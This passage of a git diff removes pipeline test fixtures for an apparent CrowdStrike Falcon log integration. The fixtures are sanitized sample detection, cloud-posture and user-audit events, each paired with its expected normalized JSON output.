\"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n        \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n        \"LocalIP\": \"10.1.190.117\",\n        \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n        \"Tactic\": \"Machine Learning\",\n        \"Technique\": \"Sensor-based ML\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false\n        },\n        \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n        \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n        \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\"\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "0ab1235adca04aef6239f5496ef0a5df",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb"
-                },
-                "name": "filename.exe",
-                "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path"
-            },
-            "host": {
-                "name": "TESTDEVICE01"
-            },
-            "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\ProgramData\\file\\path\\filename.exe\""
-                ],
-                "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
-                "end": "2020-07-17T16:11:30.000Z",
-                "entity_id": "663790158277",
-                "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
-                "name": "filename.exe",
-                "parent": {
-                    "args": [
-                        "C:\\Windows\\Explorer.EXE"
-                    ],
-                    "command_line": "C:\\Windows\\Explorer.EXE",
-                    "entity_id": "627311656469",
-                    "executable": "C:\\Windows\\Explorer.EXE",
-                    "pid": 627311656469
-                },
-                "pid": 663790158277,
-                "start": "2020-07-17T16:11:30.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-                    "0ab1235adca04aef6239f5496ef0a5df"
-                ],
-                "hosts": [
-                    "TESTDEVICE01"
-                ],
-                "ip": [
-                    "10.1.190.117"
-                ],
-                "user": [
-                    "First.last"
-                ]
-            },
-            "rule": {
-                "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
-                "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
-                "name": "NGAV"
-            },
-            "source": {
-                "ip": "10.1.190.117"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Machine Learning"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Sensor-based ML"
-                    ]
-                }
-            },
-            "user": {
-                "name": "First.last"
-            }
-        },
-        {
-            "@timestamp": "2020-07-17T16:11:31.000Z",
-            "crowdstrike": {
-                "event": {
-                    "ExecutablesWritten": [
-                        {
-                            "FileName": "NEURO_200_J1939Configuration.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        },
-                        {
-                            "FileName": "NEURO_200_J1939Configuration.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        },
-                        {
-                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        },
-                        {
-                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        }
-                    ],
-                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
-                    "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-                    "MACAddress": "54-ad-d4-d2-a8-0b",
-                    "MitreAttack": [
-                        {
-                            "Tactic": "Machine Learning",
-                            "Technique": "Sensor-based ML"
-                        }
-                    ],
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
-                    "PatternDispositionFlags": {
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": true,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false
-                    },
-                    "PatternDispositionValue": 2304,
-                    "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
-                    "Severity": 2,
-                    "SeverityName": "Low"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 57047,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2020-07-17T16:11:31.000Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57047,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1595002291000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1595002290,\n        \"ProcessEndTime\": 1595002290,\n        \"ProcessId\": 663790158277,\n        \"ParentProcessId\": 627311656469,\n        \"ComputerName\": \"TESTDEVICE01\",\n        \"UserName\": \"First.last\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"filename.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n        \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n        \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n        \"SHA1String\": \"0000000000000000000000000000000000000000\",\n        \"MachineDomain\": \"NA\",\n        \"ExecutablesWritten\": [\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            }\n        ],\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p\",\n        \"SensorId\": \"1abcd2345b8c4151a0cb45dcfbe6d3d0\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"DetectId\": \"ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719\",\n        \"LocalIP\": \"10.1.190.117\",\n        \"MACAddress\": \"54-ad-d4-d2-a8-0b\",\n        \"Tactic\": \"Machine Learning\",\n        \"Technique\": \"Sensor-based ML\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false\n        },\n        \"ParentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\explorer.exe\",\n        \"ParentCommandLine\": \"C:\\\\Windows\\\\Explorer.EXE\",\n        \"GrandparentImageFileName\": \"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\userinit.exe\",\n        \"GrandparentCommandLine\": \"C:\\\\Windows\\\\system32\\\\userinit.exe\",\n        \"MitreAttack\": [\n            {\n                \"Tactic\": \"Machine Learning\",\n                \"Technique\": \"Sensor-based ML\"\n            }\n        ]\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "0ab1235adca04aef6239f5496ef0a5df",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb"
-                },
-                "name": "filename.exe",
-                "path": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path"
-            },
-            "host": {
-                "name": "TESTDEVICE01"
-            },
-            "message": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\ProgramData\\file\\path\\filename.exe\""
-                ],
-                "command_line": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
-                "end": "2020-07-17T16:11:30.000Z",
-                "entity_id": "663790158277",
-                "executable": "\"C:\\ProgramData\\file\\path\\filename.exe\"",
-                "name": "filename.exe",
-                "parent": {
-                    "args": [
-                        "C:\\Windows\\Explorer.EXE"
-                    ],
-                    "command_line": "C:\\Windows\\Explorer.EXE",
-                    "entity_id": "627311656469",
-                    "executable": "C:\\Windows\\Explorer.EXE",
-                    "pid": 627311656469
-                },
-                "pid": 663790158277,
-                "start": "2020-07-17T16:11:30.000Z"
-            },
-            "related": {
-                "hash": [
-                    "0000000000000000000000000000000000000000",
-                    "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-                    "0ab1235adca04aef6239f5496ef0a5df"
-                ],
-                "hosts": [
-                    "TESTDEVICE01"
-                ],
-                "ip": [
-                    "10.1.190.117"
-                ],
-                "user": [
-                    "First.last"
-                ]
-            },
-            "rule": {
-                "description": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
-                "id": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
-                "name": "NGAV"
-            },
-            "source": {
-                "ip": "10.1.190.117"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Machine Learning"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "Sensor-based ML"
-                    ]
-                }
-            },
-            "user": {
-                "name": "First.last"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log
deleted file mode 100644
index 898afc6415..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log
+++ /dev/null
@@ -1,31 +0,0 @@
-{
-	"metadata": {
-
-		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-		"offset": 54712611,
-		"eventType": "CSPMSearchStreamingEvent",
-		"eventCreationTime": 1663009688832,
-		"version": "1.0"
-	},
-	"event": {
-		"AccountId": "XXXXXXXXXXXX",
-		"Region": "us-west-2",
-		"ResourceId": "i-0108fce80eXXXXXXX",
-		"ResourceIdType": "Instance Id",
-		"ResourceName": "",
-		"ResourceCreateTime": 0,
-		"PolicyStatement": "EC2 NACL configured for global ingress",
-		"PolicyId": 26,
-		"Severity": 1,
-		"SeverityName": "High",
-		"CloudPlatform": "AWS",
-		"CloudService": "EC2",
-		"Disposition": "Failed",
-		"ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
-		"Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
-		"ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}",
-		"Tags": "SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111",
-		"ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2",
-		"Timestamp": 1663009688832
-	}
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json
deleted file mode 100644
index d88d9aef3d..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags-list.log-expected.json
+++ /dev/null
@@ -1,73 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2022-09-12T19:08:08.832Z",
-            "cloud": {
-                "account": {
-                    "id": "XXXXXXXXXXXX"
-                },
-                "provider": "AWS",
-                "region": "us-west-2",
-                "service": {
-                    "name": "EC2"
-                }
-            },
-            "crowdstrike": {
-                "event": {
-                    "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
-                    "PolicyId": 26,
-                    "ResourceAttributes": {
-                        "ACL ID": "acl - 005e6 bb98e75ac17e",
-                        "Instance ID": "i - 0108 fce80eXXXXXXX",
-                        "Instance State": "running",
-                        "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00",
-                        "Platform": "Linux",
-                        "VPC ID": "vpc - 0e886040 c27d9f526"
-                    },
-                    "ResourceId": "i-0108fce80eXXXXXXX",
-                    "ResourceIdType": "Instance Id",
-                    "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
-                    "Severity": 1,
-                    "SeverityName": "High",
-                    "Timestamp": 1663009688832
-                },
-                "metadata": {
-                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-                    "eventType": "CSPMSearchStreamingEvent",
-                    "offset": 54712611,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "configuration"
-                ],
-                "created": "2022-09-12T19:08:08.832Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}",
-                "outcome": "failure",
-                "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2",
-                "severity": 73,
-                "type": [
-                    "info",
-                    "change"
-                ]
-            },
-            "message": "EC2 NACL configured for global ingress",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "tags": [
-                "preserve_original_event",
-                "SensorGroupingTags/TEACHER",
-                "SensorGroupingTags/XYZ",
-                "321",
-                "1111"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log
deleted file mode 100644
index 45a23413b4..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log
+++ /dev/null
@@ -1,31 +0,0 @@
-{
-	"metadata": {
-
-		"customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-		"offset": 54712611,
-		"eventType": "CSPMSearchStreamingEvent",
-		"eventCreationTime": 1663009688832,
-		"version": "1.0"
-	},
-	"event": {
-		"AccountId": "XXXXXXXXXXXX",
-		"Region": "us-west-2",
-		"ResourceId": "i-0108fce80eXXXXXXX",
-		"ResourceIdType": "Instance Id",
-		"ResourceName": "",
-		"ResourceCreateTime": 0,
-		"PolicyStatement": "EC2 NACL configured for global ingress",
-		"PolicyId": 26,
-		"Severity": 1,
-		"SeverityName": "High",
-		"CloudPlatform": "AWS",
-		"CloudService": "EC2",
-		"Disposition": "Failed",
-		"ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
-		"Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
-		"ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}",
-		"Tags": "SensorGroupingTags/TEACHER",
-		"ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2",
-		"Timestamp": 1663009688832
-	}
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json
deleted file mode 100644
index 1a88b27b32..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json
+++ /dev/null
@@ -1,70 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2022-09-12T19:08:08.832Z",
-            "cloud": {
-                "account": {
-                    "id": "XXXXXXXXXXXX"
-                },
-                "provider": "AWS",
-                "region": "us-west-2",
-                "service": {
-                    "name": "EC2"
-                }
-            },
-            "crowdstrike": {
-                "event": {
-                    "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All",
-                    "PolicyId": 26,
-                    "ResourceAttributes": {
-                        "ACL ID": "acl - 005e6 bb98e75ac17e",
-                        "Instance ID": "i - 0108 fce80eXXXXXXX",
-                        "Instance State": "running",
-                        "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00",
-                        "Platform": "Linux",
-                        "VPC ID": "vpc - 0e886040 c27d9f526"
-                    },
-                    "ResourceId": "i-0108fce80eXXXXXXX",
-                    "ResourceIdType": "Instance Id",
-                    "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX",
-                    "Severity": 1,
-                    "SeverityName": "High",
-                    "Timestamp": 1663009688832
-                },
-                "metadata": {
-                    "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
-                    "eventType": "CSPMSearchStreamingEvent",
-                    "offset": 54712611,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "configuration"
-                ],
-                "created": "2022-09-12T19:08:08.832Z",
-                "kind": "alert",
-                "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}",
-                "outcome": "failure",
-                "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2",
-                "severity": 73,
-                "type": [
-                    "info",
-                    "change"
-                ]
-            },
-            "message": "EC2 NACL configured for global ingress",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "tags": [
-                "preserve_original_event",
-                "SensorGroupingTags/TEACHER"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log
deleted file mode 100644
index 1605c91253..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log
+++ /dev/null
@@ -1,25 +0,0 @@
-{
-    "metadata": {
-        "customerIDString": "123123abcd",
-        "offset": 3,
-        "eventType": "UserActivityAuditEvent",
-        "eventCreationTime": 1686845212400,
-        "version": "1.0"
-    },
-    "event": {
-        "UserId": "TESTUSERID",
-        "UserIp": "175.16.199.1",
-        "OperationName": "detection_update",
-        "ServiceName": "detections",
-        "AuditKeyValues": [
-            {
-                "Key": "detection_id",
-                "ValueString": "TESTVALUE:ind:STRING123:456-123-654"
-            }
-        ],
-        "UTCTimestamp": 1686839378,
-        "Attributes": {
-            "detection_id": "DETECTID:ind:TESTID:456-123-654"
-        }
-    }
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json
deleted file mode 100644
index 27ccad4083..0000000000
